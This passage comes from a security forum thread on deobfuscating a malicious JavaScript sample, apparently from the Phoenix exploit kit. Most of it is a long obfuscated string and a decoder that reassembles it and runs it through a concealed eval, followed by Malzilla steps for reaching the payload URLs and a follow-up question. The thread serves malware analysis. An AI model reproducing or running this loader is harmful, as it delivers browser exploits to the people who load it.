u2Fu9Qltuacle?0;..+m.pfagtn`aveonsucfneengrtuE`o{fwnaz-eo}pusF.)n``awlatn22%u~wF.ti=se`g!i~`m)wf`ns..n;tt[(o(saa`.t2e6mnafre`}``6tznf~;yn;fcfubldooot0hinr~oUis=nz2r`t`e`iUzv``+gJFzpiw)f`nez&AsuswGoeai.Cee?sr`m(>ag)Y(`/+eu2e3ntrsb)~w)```0viinmdu;tde=s8Ae`g)e5<=7Dh'l`<exjl;cic='tconV.`(sA1Hcn0)'euse0`dnhrerdwwurEt;dgidEp~t(va;,cC0at'btCsp'0fen/e(}tBSA'we3?w=eatoA0ave)d-ova;e)ian'pci.{(a)Hctvvapimmgecyhh>fdeLi&.=edorPif`o;nvoMnincl32327622a8C24846A544C4F4EE9A030DF19004C3393BF483EB2B8569E8EEA0508800FC654653B37F9FF5F28076E66E526624148D24C1CDED9F4r0000000715356DD1F354C9534660672010072207v2235E074v'krf06,,`I=d8FFm9CA49AE488vd8FFm478346AA03vd8FFm0EA669436Evd8FFmE866A067E3vd8FFm613F4F6A67vd8FFm3FB3E07C85aisPWu'bt0ei`atv;,Fvtipa;i{c(&x'0Ff3Wpu0i'L`kFev)2,I=v`8enos`e9ast70000F8F109599000A0007406466467664773176766667176677666644446277766647450000000000000100000000050666040040600400lht'd`74>;5%33%87%0e%50%39%e0%05%05%08%80%80%f1%05%96%80%00%00%50%66%68%01%81%08%50%7e%a8%e0%15%05%76%26%+%23%6072%67%v%33%73Ucynp`la`)wlm=`xrut)o(=to)t((n3`gdnlternFfEiC`nro1ME;em`~s;u=&ri2luc`)un%fFpiz`t`+;=o`o[{``aghlme}yat)t)hcu0Nh~a8per`io+e(=`heo`;}p(tutunaeVtnu`;is~g)tUoi=se`g!i~`>mJeaci+,ouUtBL{`agne`lili(bcspzfil)`iosus`xt`b~(4=cn8a8gOecl{%`;<bbxa+n`eimve=n`iCBi'e.p4'~-CtPet/np;;ttmh`Q.altes(vtS0Eaex;%(+ut;totaDn`yiin`lAdCen=Hl;B)atppl50r()jirteh/ans.T)t)(MShio.i.=tre.F0uaa;:B2atva;obtalulaoet;(t=iisapebmMcpo=<ucn`o&i=debnod-'s}caridddti1E764FF6r20F0F4F9BE33B44F8AE6B99BE08182F3FD512ACE9744E8408665535E6BB50B3100C3C47076673F7ECF44FF433C05DE3440653C5E7E`0002EB0660746666667666474500000000008050a00175056=Swi(',209N=aE88e2622226336=aACCe2666327736=aA88e6225222422=aA55e2254262366=aA55e2242225666=aE55e2244562763=neDPmiuA)ib'pi=v]o.()arlnSq((o))('1Pdt0m,AAwl(n|,0N=au0(gptSw5s8a8C21030F10FA5E01010003D48D35CF331153A4053CFC14B01C30A3EEBCFDF033631EF03330FEC8227B2993702246113D10002FB0F9022700s`e>fc84<v1u10ubcu18u20u1cub0u00u0eu09u91u91ubcu02u5au10u01u00u00u53u39u0bu3bu05ue3u49ud5ub0ub7u22u74ue3u'uE4u904Fu1Auau31u0DI=(cB=oph;hea`=donh)te=ai)om0c`(t`gyht(cTuFfU~osE)fFe.,=;uwm```d.2r.={~cuu,roe~a=`}`nmfttAar)(eew}pga;y{iht;Hi)u,twg(nf`ls=|rstt};ethnTncgc(o(n:`s.));yJnz`t`+;=o`o=uo`ro`)`SvUyzavar)g`0lztz~ck~Beugl{szwilhsih+I%v;`xe~p)tP(aobuew`ll8r+asnveaE'd'd1Dgotia5`c46=Ada'tl}vrie`nuQt)(ru(eaH(Apw8vun=be`uc(vad(.nncgetohtn'Eady;re.)a5C`';eoer`tal(e.o;r;)BMtn.1=n```EcE-nrto83.reatonltpomdp.)c})`'eegrtDeyoeec'/n)t=n`n`cxj`s:9`)}tr.cogFin33227667`53F01EE2A561B06B68549F90C05C34D3C0FC497C73BC8DF6A599043B100518864C06045018E3DF9BC88B8C81E24D78DA48D3D8D337t00005F0E9D03C55D28631EF0333B72F01140F3D0r229740F9nhaa()08,,`'tA6230983A82587=tA6235466303898=tA623A58EA950A4=tA623A9E867098B=tA623A3085BEB17=tA6235A82E40A65fk{FDeftt;gu0poPa+rm'[rsv(Hy(ly;&'))Df()e4Scaa'=|8,`'rn8st+rC`=s9=00F0F90033B12B0007B00664266767766566466276667666763667641654777766776667101000000001000000000000D011000012000000e((<1l05/a%00%a0%04%80%80%74%50%06%76%f0%f0%38%80%0f%0e%e0%50%67%64%56%83%07%00%8a%d5%06%8c%08%07%06%76%0%33%33'6%32%3r73%62%Cs)ta`cBetinxt`Vtc.;yn`nd;tsx.=lhnt``u0.jnT`XRteF)CTmv``vbh`d0wtl`np`r`2~n`on;sn`2i0`u`ahrrg{anmf;e)g}ptne3`(s;t`yf,tg`asi`|o``hte.aiclc(et)tat`i.n;;}po(e~a=`}`nmf`mSi`u={~ckJ.Udarg{t=xoeieMl`)a+ntcvie`zteim``Cua`t)s)./h;)pcl0mh0oo0`)ltt'nrlxC<=7DhbEnr5+lBB~R_r+.'vayv.(eiuc{csbvrr1)Pe`6a0uns`i`u'itCisddtgmtciEeaAyoI}`Es;s60qmvcnae=tfs)B/F}y};(Btta22a'EollEAc`e2AEl`Ere./eopye(pl{hf{w3''maAod.vs=k4ec{B``ed-.Oee)D6+;li`arwerok94E60EC3t00F02B5B0B5300402B38C9AB00CAC284AE201F0AF2EFF7F8F78853F0284020F38E63F530E7633F140B010FD7F0D2A7341129D59150h000491166666663662667766671000000000F000`00056066eovbs|',409Wa'29+6322257666'a'29+2262366676'a'29+6222222522'a'29+2524276266'a'29+2452502676'a'29+2245666763d)P(Fnretpht'endr)ma.1sef'Oqsvz}&k;&F'';o0Htvs$=(719W`e'kh=i.A089'01F0F00154C2562007F048F2EFC295454398D6C401E1996C91A1521D095F544458942CF068A5D45751991730009159180D02A87447122020{e~/`a-5bru0dud9u0eu10u10u46u20u1au8auf0uf0u50u92u2fu1aua0ub0u50u17u75u9cu28u02u5bu79u06u53u05u14u0fu04u0u13u7F;8u2Fu1`09u9EuKk{is(`aahlgAhn(ota}pat((}ygbp`e)eh~+r,pVcj(Mo`IT`Ujpaw~asi=ixihe=`rfe+``c4t(itc4;f)ss1girg`trg[ue.{];ehg~2i3.t3~.u`y~Srez6`w~behmKgs.zt~`G;yr`1`ne}t;eSa;sn`2i0`u`1`cscn`tzBpofyorg`sh`fc`p+azs;s8cOoaz`~eilzui~i9rih;c`n2)}{eko0pixcc0i{sa.)t`eph'~-Ctjlne2`s2~0Apg`g)ar{eQewcihvoisest0;((A0rc.utn++mboah=eooi=erullrtP:cdfpleps-4`sat'ta`pie;o/ic{c})(pev6`vMx`eaFBhoE.D9aol`Etn-olmnoean`uvi0>`ymcm`sis'w2mtdyffde1tfcd`2B`}eompo`Mon=33723623h63F03F7B9969095F8F652EB9000D04B9CB43CF45D93F9D6DF4BB03F2E208B4F3DB633600C4D12859461DE6A68FB3D0DA33FBE8DD41e0003C405E6CC1C15AE58942CF0875C402000F140t220F906Dwcelv|)05,,I=+70'43658E6476W=+70'60705A7217W=+70'8483684E83W=+70'8F478A804AW=+70'60E998AA37W=+70'6A7416B3B4a;D)(ta(r.te)n`f`,=t']eI='W.v<ye(t}&()Q}u01iehv's'2,Ims)d`nnlr;95400F5103684E5AD0000117276676077626362666667773766474766666755266666466667001000000010002000000002244400D00200000'I)<dhs23o`50%81%30%0e%4e%00%80%05%0c%c5%50%39%e0%05%05%08%95%04%67%60%cf%01%00%00%08%d0%00%00%fa%44%40%7772%67%v%33%73s7%26%9Td}oem:spietlie)tit;ebr0M}p)arfn{w```n`rDtVUoubnj/XVtli0rtl`gFd`n`vout`&+2)oafre`}`{it6]sa`ihgttnmzd;e.i`)~`2Nh2ofntp`tg{e4s``e`ipF).pyiRca}pg=)<ewthe.critc4;f)ss10zB`ot0hnP(SuR```ii*a)a+l8xUi}e).Pdre&V`plems`g0`+i}a+e`;;v(.c0tl8kk0`hprc;.emli`c46=eee(8'i3`~MU`'e.r`cXu)`kc`enotri((})sr0`0l;ru+`eor'i0twwodnimdeHk(nu(u`et.i6F=xr(,em1:/)sdflara};):ri.niip=msAC(2lc9-u`enlyppliet)nu.(nad0<v.`caswe=aa5bioIeecx)o(tc+78eevnops:om`'3006A5EDe04FA2E744386583B8B992BF40E7878488F0D6F31045FF417FCDD5C7E65C8E05C4DBCA556C762203333B3E36B94A98B34554452F049s000BB7075666360566664666670000000000F020h00066066`kFe=(|',40Ntt5246722222366Itt1242676366676Itt1247222222222Itt1242225266666Itt1242725202767Itt5202242366663tLF;f.m'is'(;dP1f/(c).Inp)Pp=7sllje(';U}t00vF.eWv)40Nec;1<ogera9]650F345E4DC7B120000406E51469F3351F3CEFC16C943A6C1F35435DF1335081FE5F5A1E26C07E9728971921000401AAC6FFFB1010522200;E{bies85ds70ubcuc1u0aueau20u10u06u02u22u20u1cub0u00u0eu09ud9u07u12u40u07u0bu00u03u29u12u03u00ufbufcu60u304Fu1Auau31u0Dk4uE6u0I3en)a`eBs`hlsw;yoae.luxa;e{bou`tf~+~`loriDbvnetV`MDy2d1`reni,t:g~atnut```)tr`io+e(tz`~`.y=ni.hacpgeCmxst;)<,Hi~lucae|r.s``i~+`Ostu{xrDouor;e,`;`wfhimzBgfre`}`{it62nP1u`;isE~cnf=s=nz2r`t`e`iUzr`/p`e```t+lc-``bt9i+shp`w-rfaslk0ye0;.0=ertrda=e'l+lBB~cmr)6od-w'`n+oti`coOi{ATk(rtnrso))}{kr0nce`i;)qnd()l;A).notbe(mT')om'n=mAsd5C`m`''O';/d;.yiet.tc}{`s`4ogcl`esCDu`elC0n=m`eprlkcn.;dnlecrt'pasneirf''pv'eocdvv.O{L'`.`C-dl(`vNo`vJS6226'2776s04FA8D4AB8ABE26EB12130609B8BCBFB443D1FB7F4FFF07DF1C0005B501901506089A70124FF6EF5296E6A3669590CDAEEE429101Ca000FAF074C19A90355E5F5A1E25187008011FA43e2206D0C5Awl(=s|)07,`hhFF0B9A49A0667NhhFF0A87A426376NhhFF03395AA5595NhhFF0AA55987B4CNhhFF08E4FA86A71NhhFF085859848A2aO(}ncesbe,'dCD.i;[h;snta)Dd=1dsvvllk}Ic()(el9rIn|,,`mav)=p(nas5=554F65F8055A6250426806676666676666276767664664667667676666745667777676776111000000100110000000001600004304800034LPIovii04yk5%60%34%00%89%06%ce%e0%e0%d8%80%80%74%50%06%a6%f0%00%76%56%b3%00%10%a0%d1%59%e0%00%05%e4%66%76'6%32%3r73%62%d%33%70M;m({x6`a.(*o.`}pnnmpeebte.vetn>hu```teteorOtd`(DUor.`t2v(`ut`h`t0locrh0t>;yg(nf`l(heb;=m(=sss)g3tOlopd.ht;``(s)en4go|ili=|zA`fL.yvtdofnnlbe.`(fcfuispnP,`io+e(tz`~4sE0n:`sPNzBcX`i=se`g!i~`>mJee+8r=,s:0a`eo1s~yO0`).Yesf`eurhe`~.(0}s``aa(e.pdn;d`s2~0teH;4b:Bi`nk`bEnvonbc}ciTesr.iin;;fvda-u%n}nf{qty';d`t;s`c(ungeM`;neac`ete'A2plrS'b,q/zqW)l(csca}t-n`0narodni-E)=ma80c`e=meuuiatbdCca)t`h`alwasnc'`spe`dnu(((tfvoo's'D4cs'FiafdiSW8EF8;F906a01C0350685049E2E70905EC506048413C3D8CFF07E5FFA80FF5E55377BE485250F0B85F807667F5F5B4C33B66AE5B051548AE5226Am0001E02566774606677767677610000000000000s00066066caa''v(|',69ee8806722227276`eeCC02766362633`ee8806222222552`ee5502254576663`ee5502225254667`ee5505544776663.A)})r'rut`fohFG=v^(lpt(r;Ff61re<hsvneCa';)Xa'sN=|019opa;`;0gys+n7F4F38C006FBD501062A0F53C993D45E82F44619C1F1895192863415444533520422259498AA1FA147519CE70100433B48EEEA70271222F2OEEd>gdD0>d6u4cu40u01u05u13u6aua0ua0u01u10u10u46u20u1au6auf0u00u4fu04ub0u00uc0ub2ubbue3u02u00u08udducfu81;8u2Fu1`09u9Eu3u26u00EfpmtA5=sv42cvA;e(2pw))ahmlo)oc`rn+tahnoMneMf`0(rbvef=h3an(ms1`0h~2ttnixh>}p,tg`assr`e}=e)`t.u)](y`eltVnehf6~6.;ac`)f`nez=|elslEN.khVtt(nlamzccoouns.tsE`(nf`l(heb;)PN0t`i.jenP.Yfz`t`+;=o`o=uo`t`)o``i`xb~`d3h`tP%={nb(hustn`en+)fb0fu-0py)aipotd('i3`~>nTv;j0Cd+a~'jlnentjkttmi)iotno=}}ua2y(`ugvgom;.'#d(it}tIu'ttgnLo'enttdntt,39.2`h)j'.17.r;ethhhtfrJ.h/etorotdDF;`es48hdn`e`ngtt-oohhu{iv=irufms'=`aal-h>`mieeo(awb.ucB4.ejLemtoe(F7367v2266m0112DDFA3EB8ED7CBDF39D920ED0B5840BDB3F1128EFF4B4F81800438005B0408FC1B0F140EC34DCC5982E633C794D533E37A0D97De000561EF9190DEE3364222594972720031122B02a220C501Ctvs$W=s|)04,ssE60C4839660369ssE6097F7560B819ssE606464681EE49ssE608849F385889ssE60915F6F88619ssE60FE7574C7B1rD;f{e)ctA0rci(e/a,fvl(lsi('))x`9zefylKtQ}{Os)i`=('5,rerw0},t(8+o501B60E00DF39400006026766766664676366673676626473626607066654627440666467001010000000000000000D3D0000D0D00100016AEP";
function hlhtkt(hnxoir5){return hnxoir5.replace(/`/ig,' ').replace(/~/ig,'"').replace(/»/ig,String.fromCharCode(0x5*2)).replace(/•/ig,String.fromCharCode(0x2E*2));};var gsyna=1002;var czkpev3='';for (ctxodqa = gsyna; ctxodqa > 0; ctxodqa--){for (hriwklc5 = gsyna-ctxodqa; hriwklc5 <= bnfzxnh.length; hriwklc5=hriwklc5+gsyna){czkpev3=czkpev3+bnfzxnh.charAt(hriwklc5);}}var asioivh=czkpev3+"EERS();}}MDAC();";var ezbmfwb=hlhtkt(asioivh);this[String.fromCharCode(0x65,118,0x61,108)](ezbmfwb);


8.) Copy this code into Malzilla's decoder window and click "Run script" button. Click into the "Eval() results" window. The deobfuscated code now appears in bottom window.
This code isn't well formatted and therefore not easy to read. Mark all code and copy it into the upper decoder window. Now click the "Format code" button.

Now you can browse through the code and see the payload urls for various exploits.

This decoding procedure can also be done easily by script.  ;)

Ruining the bad guy's day

December 14, 2010, 12:39:30 am
Reply #224

lelenina

  • Sr. Member

  • Offline
  • ****

  • 239
This decoding procedure can also be done easily by script.  ;)


Which script are you referring to?  That would be preferable.  However, I thought JsUnpack was supposed to deobfuscate it all.  Also, does this work for almost all, if not all exploits, not just Phoenix?  Thanks.